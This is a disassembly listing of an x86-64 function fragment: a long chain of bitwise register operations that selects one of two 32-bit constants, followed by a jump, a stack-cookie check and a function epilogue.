or r11b, dl
mov r9d, r11d
xor r9b, 1
mov ecx, ebx
xor cl, r8b
and cl, bl
mov edx, ecx
xor dl, 1
and dl, cl
mov r10d, edx
and r10b, cl
xor dl, cl
or dl, r10b
mov ecx, r11d
and cl, r9b
mov eax, ecx
xor al, 1
mov r10d, eax
xor r10b, r11b
or al, r11b
xor al, 1
or al, r10b
xor al, 1
mov r10d, edx
xor r10b, al
or al, dl
xor r10b, 1
and r10b, dl
mov edx, eax
xor dl, r10b
xor r10b, 1
xor dl, 1
or r10b, al
xor r10b, 1
or r10b, dl
mov eax, ebx
and al, r8b
mov edx, eax
xor dl, 1
xor al, bl
or dl, r8b
xor dl, 1
or dl, al
mov eax, ecx
and al, r9b
xor cl, r9b
or cl, al
mov eax, edx
xor al, 1
and al, cl
xor cl, 1
and cl, dl
or cl, al
mov eax, r8d
and al, r11b
xor r11b, r8b
or r11b, al
xor cl, 1
mov eax, ecx
xor al, r11b
or cl, r11b
xor cl, 1
or cl, al
xor cl, r10b
mov eax, ecx
xor al, 1
and cl, r10b
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
mov r8d, ecx
xor r8b, 1
mov edx, ecx
or dl, r8b
mov ebx, edx
xor bl, 1
mov eax, edx
xor dl, r8b
and r8b, bl
and al, cl
or al, r8b
or bl, cl
xor bl, 1
or bl, dl
mov ecx, eax
xor cl, bl
xor al, 1
xor cl, 1
or al, bl
xor al, 1
or al, cl
mov r8d, eax
xor r8b, 1
mov edx, r8d
or dl, al
mov ebx, edx
xor bl, 1
mov ecx, eax
or cl, dl
and bl, al
and dl, r8b
or dl, bl
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, 1
and dl, cl
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov r9d, edx
xor r9b, 1
mov ecx, r8d
and cl, al
mov ebx, ecx
xor bl, 1
xor cl, r8b
or bl, al
xor bl, 1
or bl, cl
mov ecx, ebx
and cl, r9b
xor bl, 1
and bl, dl
or bl, cl
xor r9b, al
or dl, r8b
xor dl, 1
or dl, r9b
xor dl, 1
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
mov r8d, edx
xor r8b, 1
movzx eax, byte [rsp + 0x34]
mov ecx, eax
xor cl, 1
mov r9d, ecx
mov r15d, eax
or r15b, cl
mov r10d, ecx
xor r10b, al
and r10b, cl
and cl, al
xor r9b, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, r9b
mov r14d, ecx
xor r14b, 1
mov r9d, r15d
xor r9b, 1
mov ebx, ecx
and bl, r14b
mov eax, ebx
and al, cl
xor bl, cl
or bl, al
mov eax, ebx
xor al, 1
and al, r9b
and bl, r15b
or bl, al
mov eax, r14d
and al, r15b
mov esi, r14d
xor sil, r15b
or sil, al
xor sil, 1
mov eax, ebx
and al, sil
xor sil, bl
or sil, al
mov edi, r8d
or dil, dl
mov eax, edi
xor al, 1
and al, r8b
mov ebx, edx
and bl, r8b
xor bl, 1
mov r9d, r8d
xor r9b, bl
or bl, r8b
xor bl, 1
or bl, r9b
mov r12d, ebx
xor r12b, 1
and r12b, r8b
or r8b, dil
xor r8b, 1
and dil, dl
or dil, al
mov eax, r8d
and al, dil
xor dil, r8b
or dil, al
mov r9d, esi
xor r9b, 1
mov ebp, esi
and bpl, r9b
mov r11d, esi
xor r11b, r9b
or r11b, bpl
mov eax, edi
xor al, 1
mov byte [rsp + 0x38], al
mov r13d, edi
and r13b, al
mov r8d, edi
xor r8b, al
or r8b, r13b
mov r13d, r11d
xor r13b, 1
and dl, bl
or r12b, dl
xor r12b, 1
or r12b, bl
xor r15b, r10b
mov ebx, r15d
xor bl, 1
mov edx, r13d
and dl, r11b
and r15b, r10b
mov r10d, r15d
and r10b, bl
xor r15b, bl
mov eax, edx
and al, r11b
xor r11b, dl
or al, r11b
or r15b, r10b
xor al, 1
mov ebx, r15d
xor bl, al
xor bl, 1
and bl, r15b
or al, r15b
mov r10d, ebx
xor r10b, al
xor bl, 1
or bl, al
xor r10b, 1
xor bl, 1
or bl, r10b
xor dl, 1
or dl, r13b
xor dl, 1
or dl, r11b
mov eax, edx
xor al, 1
and al, cl
mov r15d, r8d
xor r15b, 1
and dl, r14b
mov r14d, r12d
xor r14b, 1
or dl, al
mov eax, r13d
movzx ecx, byte [rsp + 0x34]
and al, cl
xor r13b, cl
or r13b, al
xor dl, 1
mov eax, edx
xor al, r13b
or dl, r13b
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
mov r10d, eax
and r10b, dl
xor al, r10b
xor r10b, 1
or r10b, dl
xor r10b, 1
or r10b, al
mov eax, ebx
xor al, 1
and al, r10b
xor r10b, 1
mov ecx, ebx
xor cl, r10b
and cl, bl
and r10b, bl
or r10b, al
mov eax, ecx
and al, r10b
xor r10b, cl
or r10b, al
mov r13d, r12d
and r13b, r14b
mov ecx, r12d
and cl, r13b
xor r13b, r12b
or r13b, cl
mov ebx, r8d
or bl, r15b
mov ecx, r15d
xor cl, bl
mov edx, r13d
xor dl, 1
or r14b, r12b
or bl, r15b
xor bl, 1
mov r11d, ebx
and r11b, cl
xor bl, cl
or bl, r11b
mov ecx, edx
and cl, r14b
xor r14b, dl
or cl, r14b
xor cl, 1
mov r11d, r14d
and r11b, cl
xor cl, r14b
or cl, r11b
mov eax, ebx
xor al, 1
and bl, al
mov r11d, eax
and r11b, bl
xor bl, al
mov eax, ecx
xor al, 1
and cl, al
or bl, r11b
mov r11d, eax
and r11b, cl
xor cl, al
or cl, r11b
mov eax, ebx
xor al, 1
and al, cl
xor cl, 1
and cl, bl
or cl, al
and r13b, r15b
or r15b, dl
xor r15b, 1
and dl, r8b
or dl, r13b
mov eax, r15d
and al, dl
xor dl, r15b
or dl, al
mov eax, ecx
xor al, 1
and cl, al
mov ebx, edx
mov r8d, eax
and r8b, cl
xor cl, al
mov r11d, eax
and r11b, dl
xor al, dl
xor dl, 1
and bl, dl
or cl, r8b
xor bl, 1
mov r8d, edx
xor r8b, bl
or bl, dl
xor bl, 1
or bl, r8b
xor bl, cl
xor bl, 1
or al, r11b
mov ecx, ebx
xor cl, al
or al, bl
xor al, 1
or al, cl
mov r8d, r10d
xor r8b, 1
mov ebx, eax
xor bl, 1
mov ecx, ebx
mov r14d, ebx
and r14b, al
xor bl, r14b
xor r14b, 1
or r14b, al
xor r14b, 1
or r14b, bl
xor r14b, 1
mov r11d, r8d
and r11b, r14b
xor r14b, r8b
and r8b, r10b
xor r8b, 1
mov ebx, r10d
xor bl, r8b
or r8b, r10b
xor r8b, 1
or r8b, bl
xor cl, r8b
xor cl, 1
or r8b, al
xor r8b, 1
or r8b, cl
or r14b, r11b
mov eax, r14d
xor al, 1
and al, r8b
xor r8b, 1
mov ecx, r8d
xor cl, r14b
and cl, r8b
and r14b, r8b
or r14b, al
mov eax, ecx
xor al, 1
xor cl, r14b
xor r14b, 1
or r14b, al
xor r14b, 1
or r14b, cl
mov eax, r9d
xor al, bpl
xor bpl, 1
or bpl, sil
xor bpl, 1
or bpl, al
mov r8d, ebp
xor r8b, 1
mov ecx, ebp
xor cl, r8b
and cl, bpl
or r9b, sil
mov eax, ecx
xor al, 1
mov ebx, eax
and bl, cl
mov r10d, eax
and r10b, bl
xor bl, al
or bl, r10b
mov eax, ebx
xor al, 1
and al, r9b
xor r9b, 1
and bl, r9b
or bl, al
mov r10d, ecx
xor r10b, r9b
or r9b, cl
mov eax, edi
movzx edx, byte [rsp + 0x38]
or al, dl
xor r9b, 1
or r9b, r10b
xor bl, 1
mov r10d, ebx
xor r10b, r9b
or bl, r9b
mov ecx, eax
xor cl, 1
xor bl, 1
or bl, r10b
mov r9d, edi
or r9b, al
and cl, dil
and al, dl
or al, cl
xor al, 1
mov ecx, r9d
xor cl, al
or al, r9b
xor al, 1
or al, cl
mov ecx, ebx
xor cl, al
and al, cl
and cl, bl
xor al, 1
xor cl, 1
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
and dl, r8b
and bpl, dil
or bpl, dl
mov eax, r8d
and al, dil
xor r8b, dil
or r8b, al
xor bpl, 1
mov eax, ebp
xor al, r8b
or bpl, r8b
xor bpl, 1
or bpl, al
mov ebx, ebp
xor bl, 1
mov eax, ebx
and al, bpl
xor bl, al
xor al, 1
or al, bpl
xor al, 1
or al, bl
mov r8d, eax
xor r8b, 1
mov ebx, ecx
xor bl, 1
and al, bl
and cl, r8b
or cl, al
mov eax, ebx
and al, r8b
xor bl, r8b
or bl, al
xor cl, 1
mov eax, ecx
xor al, bl
or cl, bl
xor cl, 1
or cl, al
mov ebx, ecx
xor bl, 1
or cl, bl
xor cl, 1
mov eax, ebx
xor al, cl
or cl, bl
xor cl, 1
or cl, al
mov ebx, eax
xor bl, cl
xor al, 1
xor bl, 1
or al, cl
xor al, 1
or al, bl
xor al, 1
mov ecx, r14d
xor cl, 1
mov ebx, ecx
and bl, al
xor cl, al
or cl, bl
mov edx, r14d
xor dl, al
or al, r14b
xor dl, 1
and dl, r14b
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor cl, 1
xor dl, 1
or dl, bl
xor dl, cl
mov ebx, edx
xor bl, 1
and bl, cl
mov eax, ebx
xor al, dl
test al, 1
mov ecx, 0xec7220f9
mov ebp, 0xf468c11b
cmovne ecx, ebp
test dl, 1
mov eax, ecx
cmovne eax, ebp
test bl, 1
cmove eax, ecx
jmp 0x180001050
mov rcx, qword [rsp + 0x4b0b0]
xor rcx, rsp
call fcn.180026f90
mov eax, 1
add rsp, 0x4b0b8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret